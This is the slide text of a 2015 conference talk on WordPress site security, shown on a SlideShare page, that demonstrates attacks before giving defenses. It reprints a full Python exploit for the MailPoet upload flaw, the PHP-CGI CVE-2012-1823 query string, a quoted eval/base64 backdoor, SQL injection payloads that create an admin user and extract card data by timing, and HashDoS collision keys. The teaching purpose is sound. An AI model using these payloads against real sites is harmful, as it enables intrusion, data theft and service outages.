Home
Explore
Submit Search
Upload
Login
Signup
Advertisement
Check these out next
Python におけるドメイン駆動設計(戦術面)の勘どころ
Junya Hayashi
HTTP/2 入門
Yahoo!デベロッパーネットワーク
やはりお前らのMVCは間違っている
Koichi Tanaka
Everyday Life with clojure.spec
Kent Ohashi
TLS, HTTP/2演習
shigeki_ohtsu
分散トレーシング技術について(Open tracingやjaeger)
NTT Communications Technology Development
Java ORマッパー選定のポイント #jsug
Masatoshi Tada
ソーシャルゲーム案件におけるDB分割のPHP実装
infinite_loop
1
of
53
Top clipped slide
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Nov. 1, 2015
•
0 likes
89 likes
×
Be the first to like this
Show More
•
32,928 views
views
×
Total views
0
On Slideshare
0
From embeds
0
Number of embeds
0
Report
Technology
Wordcamp Tokyo 2015における講演資料です。一部追記しました。
Hiroshi Tokumaru
Follow
Security Engineer at EG Secure Solutions Inc.
Advertisement
Advertisement
Advertisement
Recommended
【BS4】時は来たれり。今こそ .NET 6 へ移行する時。
日本マイクロソフト株式会社
8.4K views
•
148 slides
ドメイン駆動設計のための Spring の上手な使い方
増田 亨
137.6K views
•
55 slides
ドメイン駆動設計再入門
Yukei Wachi
14.8K views
•
61 slides
例外設計における大罪
Takuto Wada
66.5K views
•
37 slides
Linux女子部 systemd徹底入門
Etsuji Nakai
136K views
•
50 slides
スマートフォン向けサービスにおけるサーバサイド設計入門
Hisashi HATAKEYAMA
23.5K views
•
40 slides
More Related Content
Slideshows for you
(20)
Python におけるドメイン駆動設計(戦術面)の勘どころ
Junya Hayashi
•
17.2K views
HTTP/2 入門
Yahoo!デベロッパーネットワーク
•
63.4K views
やはりお前らのMVCは間違っている
Koichi Tanaka
•
143.4K views
Everyday Life with clojure.spec
Kent Ohashi
•
3.2K views
TLS, HTTP/2演習
shigeki_ohtsu
•
12.8K views
分散トレーシング技術について(Open tracingやjaeger)
NTT Communications Technology Development
•
22.9K views
Java ORマッパー選定のポイント #jsug
Masatoshi Tada
•
86.5K views
ソーシャルゲーム案件におけるDB分割のPHP実装
infinite_loop
•
51.5K views
世界一わかりやすいClean Architecture
Atsushi Nakamura
•
45.3K views
DDDのモデリングとは何なのか、 そしてどうコードに落とすのか
Koichiro Matsuoka
•
47.6K views
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
•
95.4K views
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
•
33.8K views
PHPとシグナル、その裏側
do_aki
•
9.4K views
がんばらなくても C# で Single Page Web アプリケーションが書けてしまう「Blazor」とは
Jun-ichi Sakamoto
•
21.2K views
BuildKitの概要と最近の機能
Kohei Tokunaga
•
3.8K views
Grafana LokiではじめるKubernetesロギングハンズオン(NTT Tech Conference #4 ハンズオン資料)
NTT DATA Technology & Innovation
•
2.2K views
君はyarn.lockをコミットしているか?
Teppei Sato
•
29.7K views
こわくない Git
Kota Saito
•
872.8K views
kube-system落としてみました
Shuntaro Saiba
•
3.8K views
イミュータブルデータモデル(入門編)
Yoshitaka Kawashima
•
170.4K views
Viewers also liked
(20)
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
Toshi Aizawa
•
5.8K views
What's new in WordPress 4.4 (For Demo)
Daisuke Takahashi
•
6K views
Why We Should Choose Free Plugins
Takayuki Miyoshi
•
171.4K views
WordCamp Tokyo 2015 リアルフォーラム
Hajime Ogushi
•
6.6K views
WordCamp2015 WordPressで自分の名前でドメイン取って ブログ作るとこまで 面倒みるワークショップ
Sho Shirasaka
•
5.6K views
WordCamp2015 LT WordPress+VPSでつくられたWebサイトのセキュリティチェックポイントとWordPressの「Waltiプラグイ...
Masanori Fujisaki
•
8.3K views
「なんとなく」の壁を越えよう! 〜自信を持ってWordPressを選択するためのヒント〜
Naoko Takano
•
19.9K views
まだタスクランナー使っていないって本当(マジ)? 仕事に対する効率化意識向上のための gulp ハンズオン : Wordcamp tokyo 2015
Hiromu Hasegawa
•
4.1K views
Hands on PhotoBlog App with WordPress REST API and App Inventor
Hong Chen
•
6.3K views
The Best Practices of Making WordPress Site Multilingual
Katz Ueno
•
21.8K views
WP REST API の活用事例と今後
Yuusuke Yoshida
•
6.6K views
WordPressと離島での図書館作り〜コントリビュートすることで働き方を選択する未来へ
Junko Nukaga
•
19.9K views
WordPress 使いのためのMicrosoft Azure 超入門
Masaki Takeda
•
6.6K views
モブログのすすめ – スマホを活用すれば読まれるWordPressが作れる in WordCamp 2015 Tokyo
isloop @wayohoo.com
•
5.7K views
マルチパブリッシング プラットフォームとしてのWordPress
文樹 高橋
•
17.9K views
var dumpを使わないWordPress開発フロー
優也 田島
•
8.7K views
GPL: WordPress 4つの自由と ビジネスモデル / WordCamp Tokyo 2015 講演スライド
Shinichi Nishikawa
•
26.8K views
WordPressで行う継続的インテグレーション入門編
Hiroshi Urabe
•
17.5K views
愛があれば発信できる!WordPressで作る焼き鳥ポータルサイト~公式テーマ・プラグインと子テーマの活用~|WordCamp Tokyo 2015
Yoshinori Kobayashi
•
9.9K views
コミュニティ立ち上げのときに本当にあった恐い話
Mio Konagaya
•
8.4K views
Advertisement
Similar to Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
(20)
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
•
30.4K views
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
•
55.3K views
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
•
36.7K views
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
•
51K views
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
•
52.4K views
2017年のセキュリティ 傾向と対策講座
NHN テコラス株式会社
•
2K views
Microsoft azure上にwebサイトやアプリケーションを構築する方法 アドバンスド
Kazumi Hirose
•
1.8K views
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
•
48.3K views
Webシステム脆弱性LT資料
Tomohito Adachi
•
1.1K views
かんたん Twitter アプリをつくろう
Shuhei Iitsuka
•
1.2K views
WordPressとリスク管理 at 第42回 WordBench大阪
Kitani Kimiya
•
1.4K views
hktstudy 201206 「私だってやれば出来る子!♥Multi-Mechanize♥」
Aya Komuro
•
1.4K views
ウェブから情報をあつめる
Shuhei Iitsuka
•
10.7K views
20160125 power cms_cloud_public
Six Apart
•
1K views
今日こそわかる、安全なWebアプリの作り方2010
Hiroshi Tokumaru
•
9.1K views
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
•
70.9K views
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
JPCERT Coordination Center
•
1.4K views
AWS Black Belt Tech シリーズ 2015 - AWS CodeCommit & AWS CodePipeline & AWS CodeD...
Amazon Web Services Japan
•
106.9K views
【スカイアーチ】Webサイトを脆弱性攻撃から守る
株式会社スカイアーチネットワークス
•
969 views
ぼくのかんがえたさいきょうのうぇぶあぷりけーしょんふれーむわーく - YAPC Asia 2011
Hiroh Satoh
•
49.2K views
More from Hiroshi Tokumaru
(20)
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
•
5.1K views
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
•
1.8K views
SQLインジェクション再考
Hiroshi Tokumaru
•
1.1K views
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
•
803 views
introduction to unsafe deserialization part1
Hiroshi Tokumaru
•
511 views
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
•
2.5K views
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
•
3.6K views
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
•
23.6K views
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
•
9K views
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
•
23.8K views
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
•
30K views
秀スクリプトの話
Hiroshi Tokumaru
•
31.4K views
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
•
31.7K views
ウェブセキュリティの常識
Hiroshi Tokumaru
•
31.3K views
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
•
71.4K views
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
•
86.5K views
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
•
9K views
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru
•
73.7K views
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
•
38K views
Phpcon2015
Hiroshi Tokumaru
•
42.1K views
Advertisement
Recently uploaded
(20)
Transformerについて解説!!
Yosuke Horio
•
7 views
AIEXPO_CDLE名古屋紹介
KotaMiyano
•
4 views
CDLEハッカソン2022参加報告.pdf
SHOIWA1
•
10 views
【DL輪読会】DINOv2: Learning Robust Visual Features without Supervision
Deep Learning JP
•
86 views
ネットワークパケットブローカー市場.pdf
HinaMiyazu
•
9 views
TestSIP (1).pdf
DeependraSingh712859
•
2 views
モバイル・クラウド・コンピューティング-データを如何に格納し、組み合わせ、情報として引き出すか
Masahiko Funaki
•
2 views
統計学の攻略_推測統計学の考え方.pdf
akipii Oga
•
310 views
【DL輪読会】TrOCR: Transformer-based Optical Character Recognition with Pre-traine...
Deep Learning JP
•
7 views
【DL輪読会】大量API・ツールの扱いに特化したLLM
Deep Learning JP
•
162 views
統計学の攻略_正規分布ファミリーの全体像.pdf
akipii Oga
•
304 views
DrupalをDockerで起動してみる
iPride Co., Ltd.
•
22 views
SoftwareControl.pdf
ssusercd9928
•
15 views
3Dプリンタって いいね
infinite_loop
•
64 views
【DL輪読会】Poisoning Language Models During Instruction Tuning Instruction Tuning...
Deep Learning JP
•
156 views
OpenJDKのコミッタってどんなことしたらなったの?解決してきた技術課題の事例から見えてくる必要な知識と技術(JJUG CCC 2023 Spring)
NTT DATA Technology & Innovation
•
198 views
社内ソフトスキルを考える
infinite_loop
•
91 views
JSAI2023_企画セッション(仕掛学)資料
Matsushita Laboratory
•
39 views
GraalVMでのFlight Recorderを使ったパフォーマンス解析(JJUG CCC 2023 Spring)
NTT DATA Technology & Innovation
•
9 views
触感に関わる共感覚的表現と基本6感情の対応関係の検証
Matsushita Laboratory
•
22 views
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
Webサイトをめぐるセキュリティ状況と効果的な防御方法 ~WordPressを題材として~ 2015年10月31日 HASH コンサルティング株式会社 代表取締役 徳丸
浩
アジェンダ • Webサイトへの侵入経路とは • 怒涛のWordPressサイトへの侵入デモ6連発 –
パスワードクラック – PHPの脆弱性に対する攻撃 – プラグイン脆弱性に対する攻撃 – シンボリックリンク攻撃 – SQLインジェクション攻撃 – JSON HashDos • 対策の考え方 2 Copyright © 2012-2015 HASH Consulting Corp.
徳丸浩の自己紹介 • 経歴 – 1985年
京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) – 技術士(情報工学部門) – 社員募集中 Copyright © 2012-2015 HASH Consulting Corp. 3
Webサイトへの侵入経路は2種類しかない • 管理用ツールの認証を突破される – telnet,
FTP, SSH等のパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • ソフトウェアの脆弱性を悪用される – 基盤ソフトウェアの脆弱性を悪用される • Apache, PHP, JRE(Java), Tomcat, … • 脆弱性は世界中で調査され、日々新たな脆弱性が報告さ れる – アプリケーションの脆弱性を悪用される • 個別のアプリケーションの脆弱性 • SQLインジェクションなど Copyright © 2012-2015 HASH Consulting Corp. 4
WordPressの場合の主な侵入経路 • 管理用ツールの認証を突破される – WordPressのパスワードを推測される –
FTP等のパスワードがマルウェア経由で漏洩する • PHPの脆弱性 • WordPress本体の脆弱性 • WordPressのプラグインの脆弱性 • カスタマイズ部分の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 5 今日は全部 やってみます
攻撃を受けるとどうなるか? • 情報漏洩 – サーバー内の重要情報、個人情報等が外部に漏洩する –
Aさんの情報をBさんが見てしまう事故(別人問題)も漏洩に分 類する • データ改ざん – DB、ファイルの書き換え、 – 画面の改変 – スクリプトやiframeを埋め込み、閲覧者がマルウェアに感染 • DoS攻撃 – サービス停止に追い込む • なりすまし – 別人になりすまして操作ができる Copyright © 2012-2015 HASH Consulting Corp. 6 今日は全部 やってみます
管理用ツールの認証を突破される • WordPressのパスワードを推測される Copyright ©
2012-2015 HASH Consulting Corp. 7
定番ツールWPScanでクラックしてみよう Copyright © 2012-2015
HASH Consulting Corp. 8 http://wpscan.org/
Copyright © 2012-2015
HASH Consulting Corp. 9 デモ: • WPScanによるパスワードクラック [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer Brute Forcing 'admin' Time: 00:00:11 <====== > (49 / 51) 96.07% Brute Forcing 'yamada' Time: 00:00:07 <===== > (50 / 51) 98.03% [+] [SUCCESS] Login : yamada Password : tigger +----+--------+------+----------+ | Id | Login | Name | Password | +----+--------+------+----------+ | 1 | admin | | | | 4 | yamada | | tigger | +----+--------+------+----------+
PHPの脆弱性 Copyright © 2012-2015
HASH Consulting Corp. 10
ロリポップのサイト改ざん事件(1) あるサイトの.htaccessが改ざんされていました。 【元】 AddHandler application/x-httpd-php .html 【改ざん】 AddHandler
application/x-httpd-php .png →「pngファイルをphpととして読み込む」的なもの? そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。 それをファイルとして開いてみると <?php ($_=$_POST).($_1=’_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?> というコードが記載。なにこれこわい。 ※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました(消してしまったのでうろ覚 え)。 11http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/ より引用
ロリポップのサイト改ざん事件(2) .htaccess改ざんの件、恐らく完結 .htaccess改ざんの件についての続きです。原因が特定され、解決しているかと思います。 これまでの記事: .htaccessの改ざんを受けていた .htaccess改ざんの件、続き パシ様のブログにて、CGI版PHPの脆弱性ではないかという指摘が出ていました。 WordPressサイトの.htaccessが改ざんされている件 – 謎のindex.bak.php
| WP SEOブログ この攻撃についての手口は下記のページにて書かれています。 CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記 今日の昼間自分が発見したアクセスログもまさにこれで、こういうPOSTリクエストがありました。(実際はこれをURL エンコードしていた) /?-n+-d+disable_functions=%22%22+-d+safe_mode=0+-d+suhosin.simulation=1+-d+open_basedir=none+- d+allow_url_include=1+-d+allow_url_fopen=1+-d+auto_prepend_file=php://input これは上のページにあるCGI版PHPへの脆弱性攻撃そのままで、これで.htaccessを上書きされていたようです。 12http://www.php-zfex.jp/blog/2012/05/23/htaccess-kaizan_3/ より引用
Copyright © 2012-2015
HASH Consulting Corp. 13 デモ: • CGI版PHPのスクリプト実行可能な脆弱性 CVE-2012-1823により、××ポップを狙った 攻撃を再現 • PNG画像に偽装したPHPスクリプトにより、 JavaScriptファイルを差し替え、サイト閲覧 者にウイルス感染させる
WordPress本体の脆弱性 Copyright © 2012-2015
HASH Consulting Corp. 14
WordPressは他のCMSと比べて 脆弱なのか? Copyright © 2012-2015
HASH Consulting Corp. 15
そうとは言えない Copyright © 2012-2015
HASH Consulting Corp. 16
17 http://www.atmarkit.co.jp/ait/articles/1510/30/news069.html より引用 JoomlaのSQLインジェクション
Drupalの脆弱性突く攻撃横行、「侵入されたと想定して対処を」 オープンソースのコンテンツ管理システム(CMS)「Drupal」に極めて深 刻な脆弱(ぜいじゃく)性が見つかった問題で、Drupalは10月29日、脆弱 性修正のパッチを直後に適用しなかったWebサイトは侵入された可能性 があると警告した。米セキュリティ機関のUS-CERTも、アップデートや回 避策の適用を呼びかけている。 問題のSQLインジェクションの脆弱性は、Drupalのバージョン7.xに存在 する。悪用された場合、攻撃者にバックドアを仕掛けられ、サイトの全デー タをコピーされる恐れがある。攻撃の痕跡は残らない。この脆弱性を修正 した「Drupal 7.32」は10月15日にリリースされた。 Drupalによると、この10月15日の発表の直後から、脆弱性を修正してい ないWebサイトに対する攻撃が始まった。「すべてのDrupal 7サイトは、世 界協定時間の10月15日午後11時(日本時間16日午前8時)までにアップ デートまたはパッチを適用していない限り、破られたと想定して対処しなけ ればならない」とDrupalは警告する。 18http://www.itmedia.co.jp/enterprise/articles/1410/31/news050.html
より引用
WordPressのプラグインの脆弱性 …は残念ながら多い Copyright © 2012-2015
HASH Consulting Corp. 19
20 http://www.itmedia.co.jp/enterprise/articles/1407/03/news040.html より引用
JVNDB-2014-003582 WordPress 用 MailPoet
Newsletters プラグインにおける認証を回避される脆弱性 概要 WordPress 用 MailPoet Newsletters (wysija-newsletters) プラグインには、認証を回避され、任意 の PHP コードを実行される脆弱性が存在します。 CVSS による深刻度 (CVSS とは?) • 基本値: 7.5 (危険) [NVD値] • 攻撃元区分: ネットワーク • 攻撃条件の複雑さ: 低 • 攻撃前の認証要否: 不要 • 機密性への影響(C): 部分的 • 完全性への影響(I): 部分的 • 可用性への影響(A): 部分的 影響を受けるシステム MailPoet • MailPoet Newsletters 2.6.7 未満 想定される影響 第三者により、wp-admin/admin-post.php を使用する巧妙に細工されたテーマをアップロードされ、 wp-content/uploads/wysija/themes/mailp/ 内のテーマにアクセスされることで、認証を回避され、任 意の PHP コードを実行される可能性があります。 21 http://jvndb.jvn.jp/ja/contents/2014/JVNDB-2014-003582.html より引用
巧妙に細工されたテーマ? Copyright © 2012-2015
HASH Consulting Corp. 22
PoC #!/usr/bin/env python # -*-
coding: utf-8 -*- from random import choice import string import sys import re from zipfile import ZipFile from StringIO import StringIO import requests from colors import red, green, blue # pip install ansicolors def version_compare(v1, v2): def normalize(v): return [int(x) for x in re.sub(r'(.0+)*$', '', v).split(".")] return cmp(normalize(v1), normalize(v2)) def create_zip_file(theme_name, payload_name, payload): files = { "%s/%s" % (theme_name, 'style.css'): '', "%s/%s" % (theme_name, payload_name): payload } zip_file = StringIO() with ZipFile(zip_file, 'w') as zip: for path in files: zip.writestr(path, files[path]) zip_file.seek(0) return zip_file def check(url): readme_url = "%s/wp-content/plugins/wysija-newsletters/readme.txt" % url res = requests.get(readme_url, timeout=15, verify=False) if res.status_code == 200: match = re.search("stable tag: (.*)[rn]", res.text, re.I) version = match.group(1) fun = green if version_compare(version, "2.6.7") < 0 else blue print fun("[?] found version: %s" % version) return version_compare(version, "2.6.7") < 0 else: raise Exception("error getting version") def exploit(url, payload_data): theme_name = '.tmp' # better to keep the chaos to one directory. payload_name = ''.join([choice(string.letters) for i in range(5)]) + ".php" zip_file = create_zip_file(theme_name, payload_name, payload_data) files = {'my-theme': ('%s.zip' % theme_name, zip_file, "application/x-zip-compressed")} data = { "action": "themeupload", "submitter": "Upload", "overwriteexistingtheme": "on" } target_url = "%s/wp-admin/admin-post.php?page=wysija_campaigns&action=themes" % url payload_url = "%s/%s/%s/%s" % (url, 'wp-content/uploads/wysija/themes', theme_name, payload_name) print blue("[?] attempting to upload zip (%s)..." % target_url) # Don't rely on checking response, have observed some strange behaviour even with successful upload requests.post(target_url, files=files, data=data, verify=False, timeout=15) print blue("[?] checking upload (%s)..." % payload_url) response = requests.head(payload_url, verify=False, timeout=15) if response.status_code == 200: print green("[+] found: %s" % payload_url) return payload_url else: raise Exception("upload failed.") if __name__ == "__main__": if len(sys.argv) > 2: payload = open(sys.argv[1]).read() wp_url = sys.argv[2] try: if check(wp_url): res = exploit(wp_url, payload) if res: with open("found-sija.log", "a") as log: log.write("%sn" % res) except Exception as e: print red("[!] %s - %s" % (wp_url, e)) 23https://github.com/nosecurity/cve-2014-xxxx-mailpoet-newsletters より引用
難しいので、最低限の形に単純化 してみる Copyright © 2012-2015
HASH Consulting Corp. 24
単純化したら、とても簡単になったw <body> <form action="http://suzuki.jp/wp-admin/admin-post.php? page=xxxxxxxxxxxx&action=xxxxx" method="post" enctype="multipart/form-data"> <input
type="text" name="action" value="xxxxxxxxx"> <input type="text" name="submitter" value="xxxxxxx"> <input type="text" name="xxxxxxxxxxxxx" value="xx"> <input type="file" name="xxxxxxxxx"> <input type="submit" value="攻撃"> </form><br> </body> Copyright © 2012-2015 HASH Consulting Corp. 25 要はファイルを アップロードするだけ
"巧妙に細工したテーマ"はこんな感じ $ unzip -v
exploit.zip Archive: exploit.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.html 0 Stored 0 0% 2015-10-06 23:00 00000000 exploit/screenshot.jpg 674 Defl:N 404 40% 2015-10-10 23:26 ad2aad5f exploit/style.css 0 Stored 0 0% 2015-10-06 23:11 00000000 exploit/index.php 94 Defl:N 82 13% 2015-10-06 23:14 4eba8413 exploit/webshell.php -------- ------- --- ------- 768 486 37% 5 files $ Copyright © 2012-2015 HASH Consulting Corp. 26 徳丸が最初に作成した WordPressテーマですw
Copyright © 2012-2015
HASH Consulting Corp. 27 デモ: • MailPoetプラグインの脆弱性を悪用し て、WebShellをアップロード
シンボリックリンク攻撃による情報 漏えい Copyright © 2012-2015
HASH Consulting Corp. 28
Copyright © 2012-2015
HASH Consulting Corp. 29
レンタルサーバーの権限モデル Copyright © 2012-2015
HASH Consulting Corp. 30 /home/suzuki/ /home/tanaka rwx-----x suzuki.LolipopUser rwx-----x tanaka.LolipopUser wp-config.php Apache 権限:nobody コマンド 権限:tanaka コマンド 権限:suzuki rw----r-- suzuki.LolipopUser ファイルのオーナー 別のユーザー Webサーバー
シンボリックリンク攻撃 Copyright © 2012-2015
HASH Consulting Corp. 31 /home/tanaka/ /home/suzuki rwx-----x 所有者:tanaka rwx-----x 所有者: suzuki wp-config.php rwxrwxrwx 所有者: suzuki wp-config.txt Apache 権限:nobody コマンド 権限:suzuki コマンド 権限:suzuki シンボリックリンク rw----r-- 所有者: tanaka 拡張子が.txtなの でソースが閲覧可
Copyright © 2012-2015
HASH Consulting Corp. 32 デモ: • 先ほどsuzukiサイトに設置した WebShellにより、tanakaサイトのwp- config.phpにシンボリックリンクを設置 • MySQLのパスワードを窃取 • phpMyAdminによりコンテンツを改ざん
シンボリックリンク攻撃のまとめ • シンボリックリンクは誰でも作成できる – 権限のないファイルなどにも可能 –
ただし、権限のないファイルを読むことはできない • シンボリックリンクを上位権限を持つプロセス(Apache等)に読み 込ませるのがシンボリックリンク攻撃 • レンタルサーバー運営者はシンボリックリンクを制限すること – FollowSymLinksの禁止 または – SymLinksIfOwnerMatch – ※ Apacheの実装が十分でなく、これは緩和策にしかならない • レンタルサーバー利用者はファイルパーミッションに注意 – HTMLや画像は604 等 – PHP スクリプトは 600 ← これでシンボリックリンク攻撃は防げる – CGI スクリプトは 700 Copyright © 2012-2015 HASH Consulting Corp. 33
カスタマイズ部分の脆弱性 Copyright © 2012-2015
HASH Consulting Corp. 34
サイトにキャンペーン応募ページを追加 35 Copyright © 2012-2015
HASH Consulting Corp.
SQLインジェクション脆弱性のあるソース <?php $name = $_REQUEST['name']; $mail
= $_REQUEST['mail']; $address = $_REQUEST['address']; try { $con = new PDO("mysql:host=localhost;dbname=db;charset=utf8", … $con->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $sql = "INSERT INTO entries VALUES('$name', '$mail', '$address')"; $result = $con->exec($sql); } catch (PDOException $e) { // 何もしない } ?> <p>登録しました</p> Copyright © 2012-2015 HASH Consulting Corp. 36 ここにSQLインジェクション 表示がないので 情報は漏洩しない?
SQLインジェクション攻撃にはプレフィックスとデータベース名が必要 -- ユーザー crack
パスワード a のユーザを作成 INSERT INTO wpdb.wp_users VALUES(NULL, 'crack', MD5('a'), 'crack', 'crack@example.jp', '', NOW(), '', 0, 'crack'); # -- ユーザテストに管理者権限を割当 INSERT INTO wpdb.wp_usermeta SELECT NULL, (SELECT ID FROM wpdb.wp_users WHERE user_login='crack'), meta_key, meta_value FROM wpdb.wp_usermeta WHERE user_id=(SELECT user_id FROM wpdb.wp_usermeta WHERE meta_key='wp_user_level' and meta_value='10' LIMIT 1); # プレフィックス wp_ とデータベース名 wpdb を一般的なものから変えれは攻撃 が難しくなると信じられているが… これらもSQLインジェクション攻撃で盗むことができる! Copyright © 2012-2015 HASH Consulting Corp. 37
時間差を利用して情報を盗む(Time based SQLi) •
sleep関数で 5秒待ち合わせ INSERT INTO entries VALUES('', (SELECT sleep(5)), null) -- ', '', '') • eccube_db.dtb_customer_cardテーブル1行目のcardnumber 列1文字目が 5 の場合のみ5秒待つ INSERT INTO entries VALUES('',(select if(substr((select cardnumber from eccube_db.dtb_customer_card limit 0,1),1,1) = '1',sleep(5),0)), null) -- ','') • これを繰り返すことにより、ECサイトのカード情報を求められる Copyright © 2012-2015 HASH Consulting Corp. 38 続きはデモで 参考: http://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html
Copyright © 2012-2015
HASH Consulting Corp. 39 デモ: • Time based SQLインジェクションにより、 WordPressのデータベース名とプレ フィックスを盗む • SQLインジェクション攻撃により、新しい ユーザとロールを作成 • 作成した管理者ユーザでログイン
One more thing… Copyright
© 2012-2015 HASH Consulting Corp. 40
41 http://blog.hash-c.co.jp/2015/10/phpjson-hashdos.html より引用
json_decodeの入力値でハッシュコリジョンを発生 $body = file_get_contents('php://input');
// POSTデータを取得 $params = json_decode($body); // POSTデータをJSONと してデコード PoC: {"4vq":"key1", "4wP":"key2", "5Uq":"key3", "5VP":"key4", "64q":"key5" … } hash('4vq') = b879fc0 hash('4wP') = b879fc0 hash('5Uq') = b879fc0 hash('5VP') = b879fc0 hash('64q') = b879fc0 … Copyright © 2012-2015 HASH Consulting Corp. 42
Copyright © 2012-2015
HASH Consulting Corp. 43 デモ: • WordPress 3.8までに存在したJSON HashDos可能なファイルを攻撃して、 サイトをアクセス不能にする • WordPress 3.9以降にはこのファイル はありません
対策の考え方 44 Copyright © 2012-2015
HASH Consulting Corp.
パスワード! パスワード! パスワード! •
極論するとユーザ名は"admin"でもよい – adminだと自動攻撃に狙われるのでウザいということ はある • とにかくパスワードをちゃんとすることが重要 – 8文字以上 – 英数字を混ぜる – 辞書に載っている単独はだめ – できればランダム文字列 – 他所で使ってないもの 【重要】 – 管理者が複数存在する場合は、管理者毎にユー ザーを作成する Copyright © 2012-2015 HASH Consulting Corp. 45
ソフトウェアのバージョンアップまたはパッチ適用 • 脆弱性対処は、バージョンアップまたはパッチ適 用が基本 – 自らビルド等している場合はバージョンアップが楽な 場合が多い –
CentOS、Debian、Ubuntu等のディストリビューショ ンのパッケージを導入している場合はパッチ適用 • バージョンアップするとサイトが動かなくなる…な んて心配をしないで、とにかくバージョンアップす ること • 自力でトラブル対処ができないソフトは導入しな いこと Copyright © 2012-2015 HASH Consulting Corp. 46
SiteGuard WP Pluginのすすめ Copyright
© 2012-2015 HASH Consulting Corp. 47 https://wordpress.org/plugins/siteguard/ • SiteGuard の不正ログイン防止に特化したプラグイン • 簡単に導入できて効果が高い • プラグイン自体の脆弱性対策がなされている(重要)
WAF(Web Application Firewall) 48情報処理推進機構(IPA)
WAF読本より引用
SiteGuard WP PluginとWAFで何が防御できる? SiteGuard
WP Plugin WAF パスワード辞書攻撃 ◎ ○ PHP-CGI ◎ MailPoet アップロードバグ ◎ シンボリックリンク攻撃 SQLインジェクション ◎ JSON HashDos ○ Copyright © 2012-2015 HASH Consulting Corp. 49
SQLインジェクションは絶対だめ • 対策は、とにかくプレースホルダを使うこと • 外部入力をSQL文に混ぜない •
WordPressの場合 – $wpdb->prepare('SELECT * … WHERE user_login = %s', $username); • ピュアPHPの場合 – PDOを使う – プレースホルダ – DB接続時に文字エンコーディング指定を忘れない – バインド時に型を指定する Copyright © 2012-2015 HASH Consulting Corp. 50
どんなサーバーを借りたらよいか? Copyright © 2012-2015
HASH Consulting Corp. 51 セキュリティ対策 IaaS/VPS PaaS/レンサバ SaaS WAF 利用者 (事業者) - PHP/Apache 利用者 事業者 事業者 WordPress 利用者 利用者 事業者 プラグイン 利用者 利用者 事業者 カスタマイズ部分 利用者 利用者 - パスワード 利用者 利用者 利用者 • IaaSやVPSは利用者が「全て」の対応をする必要がある • PaaSやレンタルサーバーはインフラの面倒は見てくれる • SaaSの場合、パスワードさえしっかり管理すれば
サーバーはどれがいいの? • 一番良いのはWordPressを自分で建てない • レンタルサーバーは意外に良い –
パッチ適用をやってくれる – 最近のレンサバはWAFがついてくる • VPSやIaaSを使うのなら相応の"覚悟"を – パッチは全部自分であてる – WAFは… Copyright © 2012-2015 HASH Consulting Corp. 52
Copyright © 2012-2015
